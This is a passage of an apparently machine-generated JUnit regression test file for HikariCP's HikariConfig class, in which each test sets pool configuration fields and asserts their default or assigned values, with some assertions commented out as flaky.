java.lang.String str19 = hikariConfig1.getCatalog();
int int20 = hikariConfig1.acquireRetries;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNotNull(properties12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
org.junit.Assert.assertNotNull(properties16);
org.junit.Assert.assertEquals("'" + str19 + "' != '" + "HikariPool-770" + "'", str19, "HikariPool-770");
org.junit.Assert.assertTrue("'" + int20 + "' != '" + 3 + "'", int20 == 3);
}
@Test
public void test19369() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19369");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
boolean boolean9 = hikariConfig1.isJdbc4connectionTest;
int int10 = hikariConfig1.getAcquireIncrement();
hikariConfig1.isAutoCommit = false;
hikariConfig1.connectionInitSql = "HikariPool-517";
hikariConfig1.setDataSourceClassName("HikariPool-232");
java.lang.String str17 = hikariConfig1.catalog;
long long18 = hikariConfig1.getMaxLifetime();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 0 + "'", int10 == 0);
org.junit.Assert.assertNull(str17);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 35L + "'", long18 == 35L);
}
@Test
public void test19370() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19370");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
java.lang.String str9 = hikariConfig1.getConnectionCustomizerClassName();
boolean boolean10 = hikariConfig1.isInitializationFailFast;
java.lang.String str11 = hikariConfig1.catalog;
long long12 = hikariConfig1.maxLifetime;
int int13 = hikariConfig1.maxPoolSize;
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str11);
// flaky: org.junit.Assert.assertTrue("'" + long12 + "' != '" + 35L + "'", long12 == 35L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 60 + "'", int13 == 60);
}
@Test
public void test19371() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19371");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
hikariConfig1.minPoolSize = (short) 0;
javax.sql.DataSource dataSource6 = hikariConfig1.getDataSource();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer7 = hikariConfig1.connectionCustomizer;
hikariConfig1.isAutoCommit = false;
long long10 = hikariConfig1.maxLifetime;
hikariConfig1.setMinimumPoolSize((int) ' ');
hikariConfig1.isInitializationFailFast = false;
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
int int21 = hikariConfig16.getMaximumPoolSize();
int int22 = hikariConfig16.transactionIsolation;
java.util.Properties properties23 = hikariConfig16.dataSourceProperties;
hikariConfig16.isJdbc4connectionTest = false;
boolean boolean26 = hikariConfig16.isInitializationFailFast;
hikariConfig16.poolName = "HikariPool-55";
int int29 = hikariConfig16.getMaximumPoolSize();
java.util.Properties properties30 = hikariConfig16.getDataSourceProperties();
hikariConfig1.setDataSourceProperties(properties30);
// The following exception was thrown during execution in test generation
try {
hikariConfig1.validate();
org.junit.Assert.fail("Expected exception of type java.lang.IllegalStateException; message: one of either dataSource or dataSourceClassName must be specified");
} catch (java.lang.IllegalStateException e) {
// Expected exception.
}
org.junit.Assert.assertNull(dataSource6);
org.junit.Assert.assertNull(iConnectionCustomizer7);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 60 + "'", int21 == 60);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertTrue("'" + boolean26 + "' != '" + false + "'", boolean26 == false);
org.junit.Assert.assertTrue("'" + int29 + "' != '" + 60 + "'", int29 == 60);
org.junit.Assert.assertNotNull(properties30);
}
@Test
public void test19372() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19372");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
long long4 = hikariConfig1.getLeakDetectionThreshold();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
int int11 = hikariConfig6.getMaximumPoolSize();
int int12 = hikariConfig6.transactionIsolation;
java.util.Properties properties13 = hikariConfig6.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties13;
int int15 = hikariConfig1.minPoolSize;
java.util.Properties properties16 = hikariConfig1.getDataSourceProperties();
hikariConfig1.transactionIsolationName = "HikariPool-215";
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
hikariConfig20.isInitializationFailFast = true;
int int26 = hikariConfig20.acquireRetries;
hikariConfig20.setMaxLifetime((long) (-1));
int int29 = hikariConfig20.getTransactionIsolation();
hikariConfig20.maxLifetime = 32L;
java.util.Properties properties32 = hikariConfig20.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties32);
com.zaxxer.hikari.HikariConfig hikariConfig34 = new com.zaxxer.hikari.HikariConfig(properties32);
hikariConfig34.connectionCustomizerClassName = "HikariPool-15101";
hikariConfig34.isJdbc4connectionTest = true;
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
org.junit.Assert.assertNotNull(properties16);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertTrue("'" + int26 + "' != '" + 3 + "'", int26 == 3);
org.junit.Assert.assertTrue("'" + int29 + "' != '" + (-1) + "'", int29 == (-1));
org.junit.Assert.assertNotNull(properties32);
}
@Test
public void test19373() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19373");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
long long7 = hikariConfig1.getIdleTimeout();
int int8 = hikariConfig1.maxPoolSize;
hikariConfig1.isAutoCommit = true;
hikariConfig1.setInitializationFailFast(true);
hikariConfig1.connectionTestQuery = "HikariPool-220";
hikariConfig1.dataSourceClassName = "HikariPool-308";
hikariConfig1.connectionInitSql = "HikariPool-761";
hikariConfig1.minPoolSize = 52;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
}
@Test
public void test19374() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19374");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setConnectionInitSql("HikariPool-780");
hikariConfig1.maxLifetime = 10;
boolean boolean12 = hikariConfig1.isRegisterMbeans;
hikariConfig1.setAcquireRetries(3);
// The following exception was thrown during execution in test generation
try {
hikariConfig1.validate();
org.junit.Assert.fail("Expected exception of type java.lang.IllegalStateException; message: one of either dataSource or dataSourceClassName must be specified");
} catch (java.lang.IllegalStateException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
}
@Test
public void test19375() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19375");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
int int12 = hikariConfig1.maxPoolSize;
hikariConfig1.connectionCustomizerClassName = "HikariPool-852";
hikariConfig1.isJdbc4connectionTest = true;
hikariConfig1.setConnectionTestQuery("HikariPool-21083");
hikariConfig1.setMaximumPoolSize(100);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 0 + "'", int12 == 0);
}
@Test
public void test19376() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19376");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer11 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer11;
java.lang.String str13 = hikariConfig1.catalog;
java.lang.String str14 = hikariConfig1.poolName;
java.lang.String str15 = hikariConfig1.dataSourceClassName;
long long16 = hikariConfig1.getConnectionTimeout();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertNull(str13);
// flaky: org.junit.Assert.assertEquals("'" + str14 + "' != '" + "HikariPool-51235" + "'", str14, "HikariPool-51235");
org.junit.Assert.assertNull(str15);
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 10L + "'", long16 == 10L);
}
@Test
public void test19377() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19377");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
boolean boolean15 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setPoolName("HikariPool-222");
java.lang.String str18 = hikariConfig1.getCatalog();
java.lang.String str19 = hikariConfig1.poolName;
hikariConfig1.setAutoCommit(true);
java.lang.String str22 = hikariConfig1.connectionTestQuery;
java.lang.String str23 = hikariConfig1.poolName;
hikariConfig1.isJdbc4connectionTest = false;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertNull(str18);
org.junit.Assert.assertEquals("'" + str19 + "' != '" + "HikariPool-222" + "'", str19, "HikariPool-222");
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertEquals("'" + str23 + "' != '" + "HikariPool-222" + "'", str23, "HikariPool-222");
}
@Test
public void test19378() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19378");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
long long7 = hikariConfig1.getIdleTimeout();
int int8 = hikariConfig1.maxPoolSize;
hikariConfig1.isAutoCommit = true;
hikariConfig1.setInitializationFailFast(true);
hikariConfig1.connectionTestQuery = "HikariPool-220";
hikariConfig1.dataSourceClassName = "HikariPool-308";
hikariConfig1.connectionInitSql = "HikariPool-761";
long long19 = hikariConfig1.getIdleTimeout();
hikariConfig1.setRegisterMbeans(false);
javax.sql.DataSource dataSource22 = hikariConfig1.getDataSource();
hikariConfig1.acquireRetries = 'a';
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long19 + "' != '" + 60L + "'", long19 == 60L);
org.junit.Assert.assertNull(dataSource22);
}
@Test
public void test19379() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19379");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
java.lang.String str17 = hikariConfig13.transactionIsolationName;
long long18 = hikariConfig13.getIdleTimeout();
java.lang.String str19 = hikariConfig13.getCatalog();
java.util.Properties properties20 = hikariConfig13.getDataSourceProperties();
hikariConfig13.setUseInstrumentation(false);
hikariConfig1.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig13);
hikariConfig1.poolName = "HikariPool-104";
hikariConfig1.setIdleTimeout(52L);
hikariConfig1.minPoolSize = (byte) 1;
boolean boolean30 = hikariConfig1.isInitializationFailFast();
hikariConfig1.dataSourceClassName = "HikariPool-8152";
hikariConfig1.isRegisterMbeans = false;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNull(str17);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNotNull(properties20);
org.junit.Assert.assertTrue("'" + boolean30 + "' != '" + false + "'", boolean30 == false);
}
@Test
public void test19380() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19380");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
java.lang.String str8 = hikariConfig1.getPoolName();
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.poolName = "HikariPool-381";
boolean boolean13 = hikariConfig1.isInitializationFailFast;
boolean boolean14 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setConnectionTimeout(100L);
long long17 = hikariConfig1.getIdleTimeout();
// flaky: org.junit.Assert.assertEquals("'" + str8 + "' != '" + "HikariPool-51240" + "'", str8, "HikariPool-51240");
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
// flaky: org.junit.Assert.assertTrue("'" + long17 + "' != '" + 60L + "'", long17 == 60L);
}
@Test
public void test19381() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19381");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
boolean boolean3 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.idleTimeout = (byte) 1;
java.util.Properties properties6 = null;
com.zaxxer.hikari.HikariConfig hikariConfig7 = new com.zaxxer.hikari.HikariConfig(properties6);
hikariConfig7.leakDetectionThreshold = 100;
java.lang.String str10 = hikariConfig7.connectionTestQuery;
hikariConfig7.setMaximumPoolSize(87);
java.lang.String str13 = hikariConfig7.connectionCustomizerClassName;
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
hikariConfig15.setConnectionInitSql("hi!");
long long18 = hikariConfig15.getLeakDetectionThreshold();
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
java.lang.String str24 = hikariConfig20.transactionIsolationName;
int int25 = hikariConfig20.getMaximumPoolSize();
int int26 = hikariConfig20.transactionIsolation;
java.util.Properties properties27 = hikariConfig20.dataSourceProperties;
hikariConfig15.dataSourceProperties = properties27;
java.util.Properties properties29 = hikariConfig15.getDataSourceProperties();
hikariConfig7.dataSourceProperties = properties29;
hikariConfig1.setDataSourceProperties(properties29);
com.zaxxer.hikari.HikariConfig hikariConfig32 = new com.zaxxer.hikari.HikariConfig(properties29);
com.zaxxer.hikari.HikariConfig hikariConfig33 = new com.zaxxer.hikari.HikariConfig(properties29);
hikariConfig33.transactionIsolationName = "HikariPool-15691";
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + boolean3 + "' != '" + true + "'", boolean3 == true);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + long18 + "' != '" + 0L + "'", long18 == 0L);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNull(str24);
org.junit.Assert.assertTrue("'" + int25 + "' != '" + 60 + "'", int25 == 60);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertNotNull(properties27);
org.junit.Assert.assertNotNull(properties29);
}
@Test
public void test19382() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19382");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
long long7 = hikariConfig1.getIdleTimeout();
hikariConfig1.connectionTestQuery = "hi!";
int int10 = hikariConfig1.getMinimumPoolSize();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer11 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer11;
hikariConfig1.setConnectionTestQuery("HikariPool-490");
hikariConfig1.isJdbc4connectionTest = true;
hikariConfig1.connectionInitSql = "HikariPool-5915";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 10 + "'", int10 == 10);
}
@Test
public void test19383() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19383");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setConnectionCustomizerClassName("HikariPool-403");
int int9 = hikariConfig1.transactionIsolation;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + (-1) + "'", int9 == (-1));
}
@Test
public void test19384() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19384");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
int int14 = hikariConfig1.acquireRetries;
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
boolean boolean17 = hikariConfig16.isAutoCommit;
hikariConfig16.poolName = "hi!";
java.lang.String str20 = hikariConfig16.dataSourceClassName;
java.lang.String str21 = hikariConfig16.dataSourceClassName;
hikariConfig16.setJdbc4ConnectionTest(false);
int int24 = hikariConfig16.maxPoolSize;
hikariConfig16.idleTimeout = (byte) -1;
java.util.Properties properties27 = null;
com.zaxxer.hikari.HikariConfig hikariConfig28 = new com.zaxxer.hikari.HikariConfig(properties27);
int int29 = hikariConfig28.getTransactionIsolation();
hikariConfig28.setRegisterMbeans(false);
hikariConfig28.dataSourceClassName = "";
hikariConfig28.setTransactionIsolation("");
java.util.Properties properties36 = null;
com.zaxxer.hikari.HikariConfig hikariConfig37 = new com.zaxxer.hikari.HikariConfig(properties36);
int int38 = hikariConfig37.getTransactionIsolation();
hikariConfig37.setRegisterMbeans(false);
hikariConfig37.isInitializationFailFast = true;
int int43 = hikariConfig37.acquireRetries;
hikariConfig37.setMaxLifetime((long) (-1));
int int46 = hikariConfig37.getTransactionIsolation();
java.util.Properties properties47 = null;
com.zaxxer.hikari.HikariConfig hikariConfig48 = new com.zaxxer.hikari.HikariConfig(properties47);
int int49 = hikariConfig48.getTransactionIsolation();
hikariConfig48.setRegisterMbeans(false);
java.lang.String str52 = hikariConfig48.transactionIsolationName;
int int53 = hikariConfig48.getMaximumPoolSize();
int int54 = hikariConfig48.transactionIsolation;
java.util.Properties properties55 = hikariConfig48.dataSourceProperties;
hikariConfig37.setDataSourceProperties(properties55);
hikariConfig28.dataSourceProperties = properties55;
com.zaxxer.hikari.HikariConfig hikariConfig58 = new com.zaxxer.hikari.HikariConfig(properties55);
hikariConfig16.dataSourceProperties = properties55;
hikariConfig1.setDataSourceProperties(properties55);
java.util.Properties properties62 = null;
com.zaxxer.hikari.HikariConfig hikariConfig63 = new com.zaxxer.hikari.HikariConfig(properties62);
hikariConfig63.dataSourceClassName = "";
hikariConfig63.connectionTimeout = 10L;
hikariConfig63.connectionTestQuery = "HikariPool-104";
int int70 = hikariConfig63.transactionIsolation;
hikariConfig63.setRegisterMbeans(false);
hikariConfig63.setUseInstrumentation(true);
hikariConfig1.addDataSourceProperty("HikariPool-33", (java.lang.Object) hikariConfig63);
boolean boolean76 = hikariConfig63.isAutoCommit;
long long77 = hikariConfig63.connectionTimeout;
hikariConfig63.setLeakDetectionThreshold((long) 1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 3 + "'", int14 == 3);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertTrue("'" + int24 + "' != '" + 60 + "'", int24 == 60);
org.junit.Assert.assertTrue("'" + int29 + "' != '" + (-1) + "'", int29 == (-1));
org.junit.Assert.assertTrue("'" + int38 + "' != '" + (-1) + "'", int38 == (-1));
org.junit.Assert.assertTrue("'" + int43 + "' != '" + 3 + "'", int43 == 3);
org.junit.Assert.assertTrue("'" + int46 + "' != '" + (-1) + "'", int46 == (-1));
org.junit.Assert.assertTrue("'" + int49 + "' != '" + (-1) + "'", int49 == (-1));
org.junit.Assert.assertNull(str52);
org.junit.Assert.assertTrue("'" + int53 + "' != '" + 60 + "'", int53 == 60);
org.junit.Assert.assertTrue("'" + int54 + "' != '" + (-1) + "'", int54 == (-1));
org.junit.Assert.assertNotNull(properties55);
org.junit.Assert.assertTrue("'" + int70 + "' != '" + (-1) + "'", int70 == (-1));
org.junit.Assert.assertTrue("'" + boolean76 + "' != '" + true + "'", boolean76 == true);
org.junit.Assert.assertTrue("'" + long77 + "' != '" + 10L + "'", long77 == 10L);
}
@Test
public void test19385() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19385");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.connectionInitSql = "HikariPool-204";
int int11 = hikariConfig1.getMinimumPoolSize();
java.lang.String str12 = hikariConfig1.connectionTestQuery;
hikariConfig1.setTransactionIsolation("HikariPool-87");
hikariConfig1.catalog = "HikariPool-370";
hikariConfig1.setPoolName("HikariPool-14235");
java.lang.String str19 = hikariConfig1.catalog;
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
